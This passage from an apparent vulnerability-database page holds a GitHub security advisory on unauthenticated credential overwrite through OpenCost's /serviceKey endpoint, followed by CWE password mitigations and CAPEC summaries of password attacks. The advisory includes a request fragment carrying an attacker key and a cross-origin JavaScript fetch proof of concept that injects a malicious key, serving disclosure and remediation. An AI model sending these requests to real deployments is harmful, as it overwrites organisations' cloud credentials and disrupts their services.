\"key=${ATTACKER_KEY}\"\n```\n\n**Impact**:\n- **Sensitive Data Leakage**: Organization\u0027s cloud resource usage patterns and cost details\n- **Business Intelligence Leakage**: Can infer business scale, growth trends, technology stack\n- **Compliance Risk**: Cost data may contain protected business information\n\n**Data Leakage Examples**:\n- Kubernetes cluster size and node configuration\n- Resource consumption per namespace (can map to business units)\n- Cloud service usage patterns (databases, storage, compute instance types)\n- Cost trends (can infer business growth or contraction)\n\n**CVSS Impact Score**: Confidentiality impact is None (C:N), but business impact is High\n\n---\n\n#### Scenario 3: Cross-Origin Attack (CORS Exploitation)\n\n**Attack Steps**:\n1. User visits attacker-controlled malicious website\n2. Malicious JavaScript sends POST request to `http://localhost:9003/serviceKey`\n3. Due to CORS set to `*`, browser allows cross-origin request\n4. User\u0027s browser acts as proxy to execute credential overwrite attack\n\n**Prerequisites**:\n- User exposes OpenCost service via `kubectl port-forward` or other means\n- User\u0027s browser can access OpenCost endpoint\n\n**Technical Details**:\n```javascript\n// JavaScript on malicious website\nfetch(\u0027http://localhost:9003/serviceKey\u0027, {\n  method: \u0027POST\u0027,\n  headers: {\u0027Content-Type\u0027: \u0027application/x-www-form-urlencoded\u0027},\n  body: \u0027key={\"type\":\"malicious\"}\u0027\n});\n```\n\n**Impact**:\n- **User-Unaware Attack**: No active user interaction required\n- **Difficult to Trace**: Attack originates from victim\u0027s IP address\n- **Limited Exploitation Conditions**: Requires OpenCost exposed to user-accessible network\n\n---\n\n### Vulnerability Limitations\n\n**What Attacker Cannot Control**:\n- **File Write Path**: Fixed by `CONFIG_PATH` environment variable, attacker cannot modify\n- **File Name**: Fixed as `key.json`, cannot write to other files\n- **File Permissions**: Write permission is `0644`, attacker cannot escalate\n\n**Actual Attack Capabilities**:\n- **File Content Control**: Complete control over `key.json` content\n- **Unauthenticated Exploitation**: No credentials required to trigger\n- **Remote Accessibility**: Can be exploited over network (if service exposed)\n\n---\n\n### Real-World Impact Assessment\n\n| Deployment Scenario | Risk Level | Description |\n|---------------------|-----------|-------------|\n| **Cluster-Internal Only** | Medium | Requires attacker to have cluster network access |\n| **Exposed via Ingress** | High | Any internet user can exploit |\n| **Exposed via NodePort** | High | Attackers with node network access can exploit |\n| **Via port-forward** | Medium-High | Local dev environments vulnerable to CORS attacks |\n\n**Recommended Risk Rating**:\n- Default deployment (cluster-internal): **Medium**\n- Improperly exposed (public internet): **High**\n\n---\n\n## Remediation\n\n### Immediate Actions (P0)\n\n#### 1. Add Authentication\n\n```go\nfunc (a *Accesses) AddServiceKey(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {\n    // Add authentication check\n    if !a.isAuthorized(r) {\n        http.Error(w, \"Unauthorized\", http.StatusUnauthorized)\n        return\n    }\n\n    // ... existing logic\n}\n```\n\n#### 2. Implement Input Validation\n\n```go\nfunc validateServiceKey(key string) error {\n    var keyData map[string]interface{}\n    if err := json.Unmarshal([]byte(key), \u0026keyData); err != nil {\n        return fmt.Errorf(\"invalid JSON format\")\n    }\n\n    requiredFields := []string{\"type\", \"project_id\", \"private_key_id\", \"private_key\"}\n    for _, field := range requiredFields {\n        if _, ok := keyData[field]; !ok {\n            return fmt.Errorf(\"missing required field: %s\", field)\n        }\n    }\n\n    if keyData[\"type\"] != \"service_account\" {\n        return fmt.Errorf(\"invalid key type\")\n    }\n\n    return nil\n}\n```\n\n#### 3. Restrict CORS\n\n```go\nw.Header().Set(\"Access-Control-Allow-Origin\", os.Getenv(\"ALLOWED_ORIGIN\"))\n```\n\n### Long-term Solutions (P1)\n\n1. **Use Kubernetes Secrets**: Store credentials in Kubernetes Secrets instead of files\n2. **Implement RBAC**: Role-based access control for sensitive operations\n3. **Add Audit Logging**: Log all file write operations\n4. **Apply Least Privilege**: Minimize ClusterRole permissions\n\n---\n\n## Workarounds\n\nUntil a patch is available, implement these mitigations:\n\n1. **Network Segmentation**: Restrict access to OpenCost service using NetworkPolicies\n2. **Disable Endpoint**: Remove or disable the `/serviceKey` endpoint if not required\n3. **Monitor File Changes**: Alert on modifications to `key.json` file\n4. **Use Read-only Filesystem**: Mount config directory as read-only where possible\n\n---\n\n## References\n\n- **Vulnerable Code**: `pkg/costmodel/router.go:365-379`\n- **Environment Configuration**: `core/pkg/env/core.go`\n- **OWASP**: [Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)\n- **CWE-306**: [Missing Authentication for Critical Function](https://cwe.mitre.org/data/definitions/306.html)\n- **CWE-20**: [Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html)",
  "id": "GHSA-wmj8-9953-vff5",
  "modified": "2026-07-14T17:19:44Z",
  "published": "2026-07-14T17:07:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/opencost/opencost/security/advisories/GHSA-wmj8-9953-vff5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/opencost/opencost"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenCost ServiceKey Endpoint Unauthorized Credential Overwrite/Injection"
}

Mitigation
Architecture and Design
  • In order to protect password systems from compromise, the following should be noted:
  • Passwords should be stored safely to prevent insider attack and to ensure that -- if a system is compromised -- the passwords are not retrievable. Due to password reuse, this information may be useful in the compromise of other systems these users work with. In order to protect these passwords, they should be stored encrypted, in a non-reversible state, such that the original text password cannot be extracted from the stored value.
  • Password aging should be strictly enforced to ensure that passwords do not remain unchanged for long periods of time. The longer a password remains in use, the higher the probability that it has been compromised. For this reason, passwords should require refreshing periodically, and users should be informed of the risk of passwords which remain in use for too long.
  • Password strength should be enforced intelligently. Rather than restrict passwords to specific content, or specific length, users should be encouraged to use upper and lower case letters, numbers, and symbols in their passwords. The system should also ensure that no passwords are derived from dictionary words.
Mitigation
Architecture and Design

Use a zero-knowledge password protocol, such as SRP.

Mitigation
Architecture and Design

Ensure that passwords are stored safely and are not reversible.

Mitigation
Architecture and Design

Implement password aging functionality that requires passwords be changed after a certain point.

Mitigation
Architecture and Design

Use a mechanism for determining the strength of a password and notify the user of weak password use.

Mitigation
Architecture and Design

Inform the user of why password protections are in place, how they work to protect data integrity, and why it is important to heed their warnings.

CAPEC-16: Dictionary-based Password Attack

An attacker tries each of the words in a dictionary as passwords to gain access to the system via some user's account. If the password chosen by the user was a word within the dictionary, this attack will be successful (in the absence of other mitigations). This is a specific instance of the password brute forcing attack pattern.

Dictionary Attacks differ from similar attacks such as Password Spraying (CAPEC-565) and Credential Stuffing (CAPEC-600), since they leverage unknown username/password combinations and don't care about inducing account lockouts.

CAPEC-49: Password Brute Forcing

An adversary tries every possible value for a password until they succeed. A brute force attack, if feasible computationally, will always be successful because it will essentially go through all possible passwords given the alphabet used (lower case letters, upper case letters, numbers, symbols, etc.) and the maximum length of the password.

CAPEC-509: Kerberoasting

Through the exploitation of how service accounts leverage Kerberos authentication with Service Principal Names (SPNs), the adversary obtains and subsequently cracks the hashed credentials of a service account target to exploit its privileges. The Kerberos authentication protocol centers around a ticketing system which is used to request/grant access to services and to then access the requested services. As an authenticated user, the adversary may request Active Directory and obtain a service ticket with portions encrypted via RC4 with the private key of the authenticated account. By extracting the local ticket and saving it disk, the adversary can brute force the hashed value to reveal the target account credentials.

CAPEC-55: Rainbow Table Password Cracking

An attacker gets access to the database table where hashes of passwords are stored. They then use a rainbow table of pre-computed hash chains to attempt to look up the original password. Once the original password corresponding to the hash is obtained, the attacker uses the original password to gain access to the system.

CAPEC-555: Remote Services with Stolen Credentials

This pattern of attack involves an adversary that uses stolen credentials to leverage remote services such as RDP, telnet, SSH, and VNC to log into a system. Once access is gained, any number of malicious activities could be performed.

CAPEC-560: Use of Known Domain Credentials

An adversary guesses or obtains (i.e. steals or purchases) legitimate credentials (e.g. userID/password) to achieve authentication and to perform authorized actions under the guise of an authenticated user or service.

CAPEC-561: Windows Admin Shares with Stolen Credentials

An adversary guesses or obtains (i.e. steals or purchases) legitimate Windows administrator credentials (e.g. userID/password) to access Windows Admin Shares on a local machine or within a Windows domain.

CAPEC-565: Password Spraying

In a Password Spraying attack, an adversary tries a small list (e.g. 3-5) of common or expected passwords, often matching the target's complexity policy, against a known list of user accounts to gain valid credentials. The adversary tries a particular password for each user account, before moving onto the next password in the list. This approach assists the adversary in remaining undetected by avoiding rapid or frequent account lockouts. The adversary may then reattempt the process with additional passwords, once enough time has passed to prevent inducing a lockout.

CAPEC-600: Credential Stuffing

An adversary tries known username/password combinations against different systems, applications, or services to gain additional authenticated access. Credential Stuffing attacks rely upon the fact that many users leverage the same username/password combination for multiple systems, applications, and services.

CAPEC-652: Use of Known Kerberos Credentials

An adversary obtains (i.e. steals or purchases) legitimate Kerberos credentials (e.g. Kerberos service account userID/password or Kerberos Tickets) with the goal of achieving authenticated access to additional systems, applications, or services within the domain.

CAPEC-653: Use of Known Operating System Credentials

An adversary guesses or obtains (i.e. steals or purchases) legitimate operating system credentials (e.g. userID/password) to achieve authentication and to perform authorized actions on the system, under the guise of an authenticated user or service. This applies to any Operating System.

CAPEC-70: Try Common or Default Usernames and Passwords

An adversary may try certain common or default usernames and passwords to gain access into the system and perform unauthorized actions. An adversary may try an intelligent brute force using empty passwords, known vendor default credentials, as well as a dictionary of common usernames and passwords. Many vendor products come preconfigured with default (and thus well-known) usernames and passwords that should be deleted prior to usage in a production environment. It is a common mistake to forget to remove these default login credentials. Another problem is that users would pick very simple (common) passwords (e.g. "secret" or "password") that make it easier for the attacker to gain access to the system compared to using a brute force attack or even a dictionary attack using a full dictionary.